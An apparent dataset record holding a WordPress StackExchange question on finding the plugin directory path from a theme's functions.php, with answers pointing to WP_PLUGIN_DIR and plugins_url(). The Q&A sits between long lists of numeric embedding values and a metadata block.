0.018707275390625,
-0.01337432861328125,
0.01013946533203125,
-0.021942138671875,
0.00310516357421875,
-0.0251007080078125,
-0.01242828369140625,
-0.0009732246398925781,
-0.04656982421875,
-0.004291534423828125,
0.01194000244140625,
0.00579833984375,
0.02044677734375,
0.0421142578125,
-0.0257415771484375,
0.00922393798828125,
0.00788116455078125,
-0.033294677734375,
0.024505615234375,
-0.010467529296875,
-0.0299072265625,
-0.01399993896484375,
-0.00001233816146850586,
-0.0117645263671875,
0.03985595703125,
0.0015668869018554688,
-0.040252685546875,
-0.031402587890625,
0.041778564453125,
-0.0311279296875,
0.030059814453125,
0.04241943359375,
-0.0439453125,
-0.0284423828125,
0.0227203369140625,
0.037933349609375,
0.054290771484375,
0.0218963623046875,
-0.05059814453125,
-0.0218048095703125,
-0.0010166168212890625,
-0.0007910728454589844,
-0.02679443359375,
0.00777435302734375,
-0.035552978515625,
-0.031646728515625,
-0.0245208740234375,
0.011199951171875,
0.0261688232421875,
-0.033660888671875,
-0.050018310546875,
0.06036376953125,
-0.0264739990234375,
-0.0242767333984375,
-0.046630859375,
0.0367431640625,
0.007659912109375,
0.0015115737915039062,
-0.007480621337890625,
-0.0157318115234375,
-0.009185791015625,
0.006679534912109375,
0.0143585205078125,
-0.00606536865234375,
0.0159454345703125,
0.01081085205078125,
-0.07122802734375,
0.0228118896484375,
0.0038356781005859375,
0.0036602020263671875,
0.0205230712890625,
-0.01174163818359375,
0.04522705078125,
0.04718017578125,
-0.0247344970703125,
0.0220184326171875,
-0.00020325183868408203,
-0.036376953125,
-0.01348876953125,
0.0034961700439453125,
-0.0194091796875,
0.032928466796875,
0.037567138671875,
0.083251953125,
0.00902557373046875,
-0.055877685546875,
0.01470947265625,
-0.0153045654296875,
-0.1021728515625,
-0.00722503662109375,
0.04156494140625,
-0.037017822265625,
0.0125885009765625,
-0.004352569580078125,
-0.016265869140625,
-0.042938232421875,
0.0230712890625,
-0.052642822265625,
-0.01500701904296875,
-0.01104736328125,
-0.0084381103515625,
-0.0305328369140625,
-0.009124755859375,
0.082275390625,
-0.050048828125,
-0.00875091552734375,
0.01161956787109375,
0.0134735107421875,
0.033935546875,
-0.0025806427001953125,
0.003986358642578125,
0.024169921875,
0.012939453125,
-0.01226806640625,
0.043121337890625,
-0.0132904052734375,
0.04730224609375,
0.0016546249389648438,
-0.021209716796875,
0.0144805908203125,
-0.00018787384033203125,
-0.010223388671875,
-0.0155487060546875,
0.05108642578125,
0.015045166015625,
0.06414794921875,
0.01198577880859375,
0.035858154296875,
0.0277099609375,
0.0198516845703125,
0.0056915283203125,
-0.0257720947265625,
0.019317626953125,
-0.053741455078125,
0.011444091796875,
-0.017333984375,
0.0006508827209472656,
-0.0283050537109375,
0.01354217529296875,
-0.005435943603515625,
-0.0166778564453125,
0.0272979736328125
] |
0112f6947aac657e6de4f09e1323a73e18e5d3a6
|
Wordpress Stackexchange
Q: Get plugin directory from a theme Does anyone know a non-hacky way of getting the plugin directory path from within a theme's functions.php?
I've used plugin_dir_path(FILE), but because its called in the theme's functions.php it returns the path to that file. Not the plugins directory. I could string manipulate it and add the plugins path, but that feels nearly as bad as hardcoding the whole path.
I have got it working using:
require_once( ABSPATH .'/wp-content/plugins/ehu-events/event-widget.php' );
But I know that's so oldschool and wrong and I'd probably be shunned from the wordpress community for using it!
Is there a standard wordpress function I can use for this?
A: Maybe what you're looking for is :
WP_PLUGIN_DIR // full path, no trailing slash
WP_PLUGIN_URL // full url, no trailing slash
See documentation
|
Q: Get plugin directory from a theme Does anyone know a non-hacky way of getting the plugin directory path from within a theme's functions.php?
I've used plugin_dir_path(FILE), but because its called in the theme's functions.php it returns the path to that file. Not the plugins directory. I could string manipulate it and add the plugins path, but that feels nearly as bad as hardcoding the whole path.
I have got it working using:
require_once( ABSPATH .'/wp-content/plugins/ehu-events/event-widget.php' );
But I know that's so oldschool and wrong and I'd probably be shunned from the wordpress community for using it!
Is there a standard wordpress function I can use for this?
A: Maybe what you're looking for is :
WP_PLUGIN_DIR // full path, no trailing slash
WP_PLUGIN_URL // full url, no trailing slash
See documentation
A: I believe this may be more reliable than depending upon the constants.
$url = plugins_url();
$path = parse_url($url);
var_dump($path['path']);
The reason I suspect it may be more reliable is that the plugins_url function considers both the WPMU_PLUGIN_URL and the WP_PLUGIN_URL constants and will also respect the plugins_url filter.
|
wordpress
|
{
"language": "en",
"length": 181,
"provenance": "stackexchange_00019.jsonl.gz:438015",
"question_score": "9",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/117230"
}
|
[
0.032623291015625,
-0.0396728515625,
0.01056671142578125,
-0.042755126953125,
-0.0221405029296875,
-0.004421234130859375,
0.0230865478515625,
0.016326904296875,
-0.0036487579345703125,
0.0174713134765625,
0.00830841064453125,
0.023040771484375,
-0.0288543701171875,
-0.03857421875,
-0.0097503662109375,
-0.02313232421875,
0.0384521484375,
-0.01200103759765625,
0.050811767578125,
0.002010345458984375,
0.0200347900390625,
0.03216552734375,
0.03704833984375,
0.072265625,
0.034149169921875,
0.02685546875,
0.09051513671875,
-0.04644775390625,
0.03778076171875,
-0.01812744140625,
0.03204345703125,
-0.0452880859375,
0.01412200927734375,
-0.01177978515625,
0.044891357421875,
0.0180511474609375,
-0.014495849609375,
-0.0018415451049804688,
0.020416259765625,
0.0026187896728515625,
0.038177490234375,
-0.0263214111328125,
-0.030670166015625,
0.057891845703125,
-0.050872802734375,
-0.03900146484375,
0.04364013671875,
0.01180267333984375,
0.0029811859130859375,
0.0193634033203125,
0.0284271240234375,
-0.006259918212890625,
0.0263214111328125,
-0.038482666015625,
-0.010589599609375,
-0.021026611328125,
-0.011199951171875,
0.01386260986328125,
0.01229095458984375,
-0.0213470458984375,
-0.02020263671875,
-0.001972198486328125,
0.0391845703125,
0.01922607421875,
-0.002010345458984375,
0.01190948486328125,
-0.0109100341796875,
0.01558685302734375,
-0.0238800048828125,
-0.003231048583984375,
0.0150146484375,
-0.02362060546875,
-0.0009794235229492188,
0.0099334716796875,
-0.00824737548828125,
-0.003841400146484375,
-0.005237579345703125,
-0.0168914794921875,
0.040252685546875,
0.0015859603881835938,
-0.0118560791015625,
-0.01415252685546875,
-0.049407958984375,
-0.01132965087890625,
0.0235443115234375,
0.037628173828125,
-0.01007843017578125,
-0.0167999267578125,
-0.01849365234375,
0.01313018798828125,
-0.0294342041015625,
0.0077362060546875,
0.01094818115234375,
0.01381683349609375,
-0.03668212890625,
0.02154541015625,
0.031585693359375,
0.011810302734375,
-0.0158538818359375,
0.0132598876953125,
0.021026611328125,
-0.0518798828125,
0.046875,
-0.0245513916015625,
-0.018707275390625,
0.0408935546875,
0.0081329345703125,
-0.00225830078125,
-0.0084686279296875,
0.02447509765625,
0.00400543212890625,
-0.008575439453125,
-0.003932952880859375,
-0.049591064453125,
0.0004372596740722656,
0.051849365234375,
0.0011692047119140625,
0.0158233642578125,
0.032196044921875,
0.0223388671875,
0.00012862682342529297,
0.0187225341796875,
0.004512786865234375,
0.0038051605224609375,
-0.0235137939453125,
-0.01538848876953125,
-0.0188446044921875,
-0.0211029052734375,
0.01352691650390625,
-0.005023956298828125,
-0.021392822265625,
-0.0019931793212890625,
0.02685546875,
0.0251922607421875,
0.005146026611328125,
-0.01012420654296875,
0.00490570068359375,
0.004852294921875,
0.0171966552734375,
0.00710296630859375,
0.00913238525390625,
-0.0182342529296875,
0.02569580078125,
-0.00113677978515625,
-0.025421142578125,
-0.027069091796875,
0.00965118408203125,
0.049896240234375,
-0.01983642578125,
0.012664794921875,
-0.0033092498779296875,
0.0144195556640625,
0.0056610107421875,
0.0251617431640625,
0.0380859375,
-0.01392364501953125,
0.046173095703125,
-0.043609619140625,
0.03253173828125,
-0.0199737548828125,
-0.031158447265625,
-0.00106048583984375,
0.0174713134765625,
-0.01319122314453125,
-0.0182647705078125,
-0.01146697998046875,
0.0096435546875,
0.0020389556884765625,
0.01273345947265625,
0.01934814453125,
0.01403045654296875,
0.0005197525024414062,
-0.006221771240234375,
0.0172576904296875,
0.0161285400390625,
0.0123748779296875,
-0.007396697998046875,
0.0025005340576171875,
0.01441192626953125,
0.031005859375,
0.0008273124694824219,
-0.03704833984375,
0.0236968994140625,
-0.005107879638671875,
-0.033355712890625,
0.016510009765625,
-0.004016876220703125,
0.004497528076171875,
0.020294189453125,
0.0046844482421875,
0.0276031494140625,
0.00634765625,
-0.04541015625,
-0.008544921875,
-0.00140380859375,
0.00824737548828125,
0.011993408203125,
0.005718231201171875,
-0.0056915283203125,
-0.0019855499267578125,
0.01477813720703125,
-0.0212249755859375,
0.01326751708984375,
-0.0084075927734375,
-0.046417236328125,
-0.01158905029296875,
-0.0151214599609375,
0.01922607421875,
0.0248260498046875,
0.0208740234375,
-0.004512786865234375,
0.0304718017578125,
0.0013399124145507812,
-0.08203125,
-0.040985107421875,
0.06317138671875,
-0.013458251953125,
0.0345458984375,
-0.01367950439453125,
0.0367431640625,
-0.00879669189453125,
-0.027740478515625,
-0.01885986328125,
0.0162353515625,
0.02996826171875,
0.01241302490234375,
-0.035919189453125,
-0.0061492919921875,
0.015289306640625,
0.00795745849609375,
-0.00823974609375,
0.0287322998046875,
-0.0162200927734375,
0.027099609375,
0.0035648345947265625,
-0.016357421875,
0.0272216796875,
-0.055816650390625,
0.03961181640625,
0.0249481201171875,
0.041168212890625,
0.0533447265625,
-0.008636474609375,
-0.022918701171875,
0.0310516357421875,
-0.09814453125,
-0.01654052734375,
-0.017608642578125,
0.03704833984375,
0.041748046875,
0.005878448486328125,
-0.01378631591796875,
0.01568603515625,
-0.0227203369140625,
0.00853729248046875,
0.04034423828125,
-0.0055389404296875,
-0.031280517578125,
0.00220489501953125,
0.0196990966796875,
0.01220703125,
-0.020751953125,
-0.041748046875,
0.006610870361328125,
-0.034759521484375,
0.0262603759765625,
-0.014617919921875,
-0.00191497802734375,
0.0038909912109375,
0.003360748291015625,
0.0183258056640625,
-0.0191192626953125,
-0.003803253173828125,
0.056732177734375,
0.04248046875,
-0.02337646484375,
-0.036529541015625,
-0.024658203125,
0.0213623046875,
0.0282440185546875,
-0.00489044189453125,
0.0167083740234375,
0.01751708984375,
-0.01233673095703125,
-0.01163482666015625,
-0.023895263671875,
0.0309295654296875,
0.038116455078125,
-0.01158905029296875,
0.0302581787109375,
0.041259765625,
0.01678466796875,
-0.0430908203125,
0.05975341796875,
-0.046630859375,
0.0007147789001464844,
0.023590087890625,
-0.00667572021484375,
0.0267486572265625,
-0.0062103271484375,
0.007129669189453125,
0.041748046875,
0.01369476318359375,
-0.038421630859375,
0.01287841796875,
-0.0015163421630859375,
0.0164031982421875,
-0.004489898681640625,
-0.003337860107421875,
0.0008740425109863281,
-0.050994873046875,
0.004505157470703125,
0.007965087890625,
0.03277587890625,
-0.0238800048828125,
-0.06109619140625,
-0.01377105712890625,
-0.0046539306640625,
-0.1004638671875,
-0.05841064453125,
-0.00940704345703125,
-0.02899169921875,
0.0343017578125,
0.0020313262939453125,
-0.0095672607421875,
-0.0235595703125,
0.0146331787109375,
0.01403045654296875,
-0.01080322265625,
-0.026519775390625,
-0.04248046875,
-0.051025390625,
-0.07562255859375,
-0.016387939453125,
-0.005680084228515625,
0.015655517578125,
0.0025005340576171875,
0.0318603515625,
-0.0027065277099609375,
-0.057708740234375,
-0.022705078125,
0.07733154296875,
-0.001018524169921875,
-0.02447509765625,
0.0036754608154296875,
-0.00829315185546875,
-0.0083770751953125,
-0.01070404052734375,
0.026702880859375,
0.0224151611328125,
-0.0305633544921875,
-0.00823974609375,
-0.01070404052734375,
-0.01397705078125,
-0.002574920654296875,
0.036285400390625,
0.01299285888671875,
-0.0020599365234375,
0.0174713134765625,
-0.050628662109375,
-0.007625579833984375,
-0.0030193328857421875,
-0.03582763671875,
0.07794189453125,
0.0270233154296875,
-0.035736083984375,
0.0218048095703125,
-0.00530242919921875,
0.009857177734375,
0.0207672119140625,
-0.0202789306640625,
-0.0192108154296875,
0.042205810546875,
0.007198333740234375,
0.0248870849609375,
0.0069427490234375,
0.057037353515625,
-0.0171051025390625,
0.002109527587890625,
0.0133514404296875,
0.0022296905517578125,
-0.009002685546875,
-0.0333251953125,
-0.06280517578125,
-0.0191650390625,
0.035491943359375,
-0.03399658203125,
0.010711669921875,
-0.0228271484375,
-0.002349853515625,
-0.01172637939453125,
0.054962158203125,
-0.035400390625,
-0.027862548828125,
-0.005466461181640625,
0.03399658203125,
-0.0609130859375,
-0.068115234375,
-0.0240020751953125,
-0.01116943359375,
-0.0904541015625,
0.0054168701171875,
-0.016815185546875,
-0.0440673828125,
0.017547607421875,
-0.025726318359375,
-0.044525146484375,
-0.047332763671875,
0.026611328125,
-0.061676025390625,
0.0211639404296875,
0.03155517578125,
-0.00030517578125,
-0.0030460357666015625,
-0.00897216796875,
-0.0494384765625,
-0.042083740234375,
-0.01531219482421875,
-0.02874755859375,
0.052703857421875,
0.0268402099609375,
-0.030731201171875,
-0.022003173828125,
0.031036376953125,
0.00637054443359375,
0.007160186767578125,
0.038909912109375,
0.01238250732421875,
-0.01165771484375,
0.00832366943359375,
0.055755615234375,
-0.036163330078125,
0.01007843017578125,
-0.0206298828125,
-0.049285888671875,
0.00862884521484375,
-0.0109710693359375,
0.0300140380859375,
0.03509521484375,
-0.0401611328125,
-0.00482940673828125,
-0.00018489360809326172,
-0.013946533203125,
0.005512237548828125,
-0.0175628662109375,
-0.007175445556640625,
0.00147247314453125,
-0.0279998779296875,
0.0447998046875,
0.0073699951171875,
-0.00782012939453125,
0.0030536651611328125,
0.08905029296875,
0.0172882080078125,
-0.035003662109375,
-0.03277587890625,
0.012237548828125,
0.037994384765625,
0.0217742919921875,
0.0267333984375,
0.00881195068359375,
-0.0347900390625,
0.052215576171875,
0.017333984375,
0.01438140869140625,
-0.006214141845703125,
0.0299530029296875,
0.01342010498046875,
-0.005336761474609375,
0.005687713623046875,
0.01397705078125,
-0.01064300537109375,
0.052581787109375,
-0.01910400390625,
-0.008819580078125,
-0.028778076171875,
0.0265960693359375,
-0.004180908203125,
0.002765655517578125,
-0.0491943359375,
-0.061676025390625,
0.0158538818359375,
0.0033435821533203125,
0.042938232421875,
0.072998046875,
-0.0310821533203125,
0.08270263671875,
0.0135345458984375,
-0.01342010498046875,
0.047882080078125,
0.037994384765625,
0.01654052734375,
0.0211181640625,
0.04248046875,
-0.01428985595703125,
0.0026264190673828125,
-0.0025157928466796875,
0.031219482421875,
0.00591278076171875,
-0.00844573974609375,
-0.04925537109375,
-0.017059326171875,
0.0131072998046875,
0.015380859375,
-0.03765869140625,
0.030242919921875,
0.032257080078125,
-0.029541015625,
-0.019317626953125,
-0.07208251953125,
0.0018796920776367188,
-0.053009033203125,
0.01262664794921875,
-0.008880615234375,
-0.01282501220703125,
0.018951416015625,
0.0310821533203125,
-0.041717529296875,
0.023193359375,
0.0183258056640625,
0.01465606689453125,
-0.0026607513427734375,
0.047332763671875,
0.0101165771484375,
-0.04046630859375,
0.0163421630859375,
0.01271820068359375,
0.0079193115234375,
-0.00904083251953125,
0.01004791259765625,
-0.0164642333984375,
0.00963592529296875,
-0.013824462890625,
-0.0256195068359375,
0.04229736328125,
-0.014892578125,
0.0005211830139160156,
0.012939453125,
0.0060577392578125,
-0.004993438720703125,
-0.00331878662109375,
0.006793975830078125,
0.04437255859375,
0.01195526123046875,
-0.0215606689453125,
0.01373291015625,
-0.031219482421875,
-0.024322509765625,
0.047149658203125,
-0.0704345703125,
0.02313232421875,
0.034576416015625,
-0.0165252685546875,
-0.006565093994140625,
0.010955810546875,
-0.070068359375,
-0.030914306640625,
-0.01116180419921875,
-0.0132904052734375,
0.0452880859375,
-0.06298828125,
0.0531005859375,
-0.0042724609375,
-0.0224151611328125,
-0.00818634033203125,
0.0234375,
0.048980712890625,
0.070556640625,
-0.10760498046875,
0.024200439453125,
-0.0723876953125,
0.00875091552734375,
-0.0213470458984375,
-0.048309326171875,
-0.055145263671875,
-0.02001953125,
-0.0197906494140625,
0.023895263671875,
-0.00350189208984375,
0.02130126953125,
-0.0096282958984375,
0.01068878173828125,
-0.019989013671875,
0.035491943359375,
0.00991058349609375,
0.039031982421875,
0.0264892578125,
0.031890869140625,
0.026611328125,
0.0132904052734375,
-0.013427734375,
-0.024139404296875,
0.014617919921875,
0.0052947998046875,
-0.010223388671875,
-0.047210693359375,
0.048004150390625,
-0.0176544189453125,
0.040924072265625,
-0.005535125732421875,
0.001529693603515625,
-0.0217742919921875,
-0.01265716552734375,
-0.0228118896484375,
0.07330322265625,
0.00527191162109375,
-0.0029697418212890625,
-0.00415802001953125,
-0.045166015625,
-0.003520965576171875,
0.0155181884765625,
0.0182342529296875,
0.013031005859375,
-0.016632080078125,
0.0117645263671875,
0.0294342041015625,
-0.0660400390625,
0.09136962890625,
0.062164306640625,
0.002277374267578125,
0.06451416015625,
0.0104522705078125,
0.0338134765625,
0.036468505859375,
0.015899658203125,
0.013275146484375,
0.0017528533935546875,
0.107177734375,
0.041290283203125,
-0.01363372802734375,
0.079345703125,
-0.042694091796875,
0.036041259765625,
-0.01485443115234375,
0.03997802734375,
-0.0262603759765625,
0.04644775390625,
0.01522064208984375,
0.0017251968383789062,
0.05755615234375,
0.00829315185546875,
-0.0236968994140625,
-0.00791168212890625,
-0.002132415771484375,
-0.01154327392578125,
-0.016143798828125,
0.0036067962646484375,
0.01995849609375,
-0.020721435546875,
0.00771331787109375,
0.014434814453125,
0.01190948486328125,
-0.0034503936767578125,
-0.01273345947265625,
0.00986480712890625,
0.004207611083984375,
-0.0217742919921875,
0.0014657974243164062,
0.01209259033203125,
-0.029693603515625,
-0.06671142578125,
0.010284423828125,
-0.010040283203125,
-0.00644683837890625,
0.01042938232421875,
-0.040252685546875,
0.059783935546875,
0.035858154296875,
-0.01027679443359375,
-0.019439697265625,
0.018524169921875,
-0.0066375732421875,
0.045806884765625,
0.007122039794921875,
0.00495147705078125,
0.032470703125,
-0.028656005859375,
-0.0064544677734375,
-0.024566650390625,
0.03350830078125,
-0.0166168212890625,
-0.0222930908203125,
0.1258544921875,
-0.049346923828125,
-0.00850677490234375,
0.040435791015625,
0.0152130126953125,
-0.04180908203125,
0.0023555755615234375,
0.03570556640625,
-0.0249786376953125,
0.0288238525390625,
0.017608642578125,
0.05535888671875,
-0.001689910888671875,
0.0230560302734375,
-0.0452880859375,
0.066650390625,
-0.01959228515625,
0.0013284683227539062,
0.0145263671875,
0.0234527587890625,
-0.0242156982421875,
0.004180908203125,
-0.0325927734375,
0.041900634765625,
-0.002288818359375,
0.00617218017578125,
-0.0272369384765625,
0.003803253173828125,
-0.03240966796875,
0.0166015625,
0.07183837890625,
0.0254669189453125,
-0.0009217262268066406,
-0.0168914794921875,
0.031341552734375,
0.043548583984375,
-0.01031494140625,
0.0226593017578125,
0.04913330078125,
0.01203155517578125,
0.06207275390625,
0.0182647705078125,
0.06341552734375,
-0.048004150390625,
0.022186279296875,
0.039398193359375,
-0.002063751220703125,
-0.0303192138671875,
-0.022735595703125,
-0.02337646484375,
0.004055023193359375,
-0.017822265625,
-0.0220947265625,
-0.028778076171875,
0.007617950439453125,
0.033447265625,
0.04766845703125,
-0.01332855224609375,
-0.050750732421875,
-0.0032405853271484375,
0.038116455078125,
0.01486968994140625,
0.013641357421875,
0.0023059844970703125,
0.0108795166015625,
0.006259918212890625,
-0.01128387451171875,
-0.0091705322265625,
0.0130157470703125,
-0.0159454345703125,
0.0443115234375,
0.0165252685546875,
0.0276336669921875,
-0.03125,
0.00385284423828125,
0.0103607177734375,
0.032684326171875,
-0.031890869140625,
-0.07568359375,
-0.0064239501953125,
-0.009674072265625,
-0.00756072998046875,
0.03521728515625,
-0.026947021484375,
-0.0059814453125,
0.05401611328125,
-0.0278167724609375,
-0.0045166015625,
0.0166778564453125,
0.0265655517578125,
-0.016357421875,
-0.06463623046875,
0.0009870529174804688,
0.0005826950073242188,
-0.0267181396484375,
0.0297088623046875,
-0.0024318695068359375,
-0.001251220703125,
-0.021087646484375,
0.0323486328125,
0.02166748046875,
0.0101318359375,
0.01067352294921875,
0.042816162109375,
-0.0241546630859375,
-0.007740020751953125,
-0.00894927978515625,
-0.05267333984375,
-0.0008478164672851562,
0.0178985595703125,
0.033294677734375,
0.020416259765625,
0.043487548828125,
0.0193939208984375,
-0.0166015625,
0.0035724639892578125,
0.01047515869140625,
-0.008056640625,
0.004741668701171875,
-0.03155517578125,
0.046966552734375,
0.0350341796875,
0.0152435302734375,
-0.024444580078125,
0.0089111328125,
0.06304931640625,
-0.03192138671875,
0.04290771484375,
-0.00983428955078125,
-0.005462646484375,
0.003955841064453125,
-0.04205322265625,
0.0242462158203125,
-0.01328277587890625,
-0.043792724609375,
-0.0033321380615234375,
0.006626129150390625,
0.012451171875,
-0.032135009765625,
0.0311431884765625,
-0.0017290115356445312,
0.0267181396484375,
0.03814697265625,
0.03240966796875,
0.01904296875,
-0.04718017578125,
0.02008056640625,
-0.0038909912109375,
0.03875732421875,
0.0311279296875,
-0.018798828125,
-0.039306640625,
-0.05316162109375,
0.0831298828125,
0.0638427734375,
0.07440185546875,
-0.0537109375,
0.054412841796875,
0.0265655517578125,
-0.031402587890625,
0.01629638671875,
0.0008120536804199219,
0.022674560546875,
-0.02008056640625,
-0.0114593505859375,
-0.0165252685546875,
-0.048309326171875,
0.007568359375,
0.031280517578125,
-0.036895751953125,
-0.0218048095703125,
0.0162506103515625,
0.0240325927734375,
0.01715087890625,
0.05914306640625,
0.0040740966796875,
-0.04718017578125,
-0.032440185546875,
0.0188140869140625,
0.028839111328125,
0.07720947265625,
-0.01239013671875,
0.01023101806640625,
0.0226898193359375,
0.0006723403930664062,
0.0081634521484375,
0.01059722900390625,
0.01282501220703125,
0.0267333984375,
-0.033447265625,
-0.07061767578125,
0.037384033203125,
-0.00159454345703125,
0.01031494140625,
0.006084442138671875,
0.11175537109375,
0.00757598876953125,
-0.01078033447265625,
-0.038726806640625,
-0.04620361328125,
0.0107574462890625,
-0.005718231201171875,
0.00997161865234375,
-0.03778076171875,
0.031280517578125,
-0.034149169921875,
-0.09686279296875,
-0.0311431884765625,
-0.080322265625,
0.0110626220703125,
0.033294677734375,
-0.040557861328125,
-0.0141754150390625,
-0.0189666748046875,
0.0038394927978515625,
0.0223846435546875,
0.01239013671875,
-0.07696533203125,
0.02972412109375,
-0.016143798828125,
0.04022216796875,
-0.02276611328125,
0.019195556640625,
0.0072784423828125,
0.02667236328125,
-0.0264129638671875,
-0.025665283203125,
-0.006313323974609375,
0.0300750732421875,
-0.006031036376953125,
0.03570556640625,
0.036102294921875,
-0.0199737548828125,
-0.00494384765625,
0.076904296875,
0.01476287841796875,
0.1363525390625,
-0.037933349609375,
-0.016571044921875,
-0.005519866943359375,
0.015869140625,
-0.0304107666015625,
-0.0382080078125,
0.0201416015625,
-0.0215606689453125,
-0.0114288330078125,
-0.01104736328125,
-0.0307464599609375,
-0.0182952880859375,
-0.06591796875,
-0.065673828125,
0.07049560546875,
0.0020771026611328125,
-0.029083251953125,
-0.0494384765625,
0.03253173828125,
0.0253448486328125,
-0.01165771484375,
-0.011199951171875,
-0.0030307769775390625,
-0.0281982421875,
0.01416015625,
0.046905517578125,
0.002315521240234375,
0.038055419921875,
0.046539306640625,
-0.07135009765625,
0.01407623291015625,
-0.017974853515625,
0.0184326171875,
0.004055023193359375,
-0.0166778564453125,
0.0304412841796875,
0.0634765625,
-0.0203094482421875,
-0.0038013458251953125,
0.0093841552734375,
-0.0225830078125,
-0.03826904296875,
-0.05194091796875,
0.01885986328125,
0.0017414093017578125,
0.062286376953125,
0.0284271240234375,
0.005512237548828125,
-0.038177490234375,
-0.035919189453125,
-0.0199737548828125,
-0.026519775390625,
0.01245880126953125,
0.029388427734375,
-0.0595703125,
0.0182647705078125,
0.034271240234375,
-0.0017805099487304688,
-0.0141143798828125,
-0.00433349609375,
-0.0124359130859375,
-0.0355224609375,
-0.0290679931640625,
-0.0224761962890625,
-0.007656097412109375,
-0.034149169921875,
0.053955078125,
-0.0291748046875,
0.025909423828125,
-0.0137481689453125,
0.038055419921875,
0.03997802734375,
-0.01380157470703125,
0.0255126953125,
0.03271484375,
-0.044952392578125,
-0.001438140869140625,
0.00390625,
0.0261383056640625,
-0.030609130859375,
-0.03692626953125,
0.020233154296875,
-0.0177764892578125,
-0.04144287109375,
-0.037384033203125,
0.025848388671875,
0.016082763671875,
-0.0254364013671875,
0.08856201171875,
0.022918701171875,
0.0063629150390625,
-0.0081634521484375,
0.06500244140625,
-0.0171051025390625,
-0.050445556640625,
-0.0147857666015625,
-0.051605224609375,
-0.00015056133270263672,
0.01904296875,
0.0053863525390625,
-0.032135009765625,
0.028778076171875,
-0.0171661376953125,
0.01004791259765625,
0.01071929931640625
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.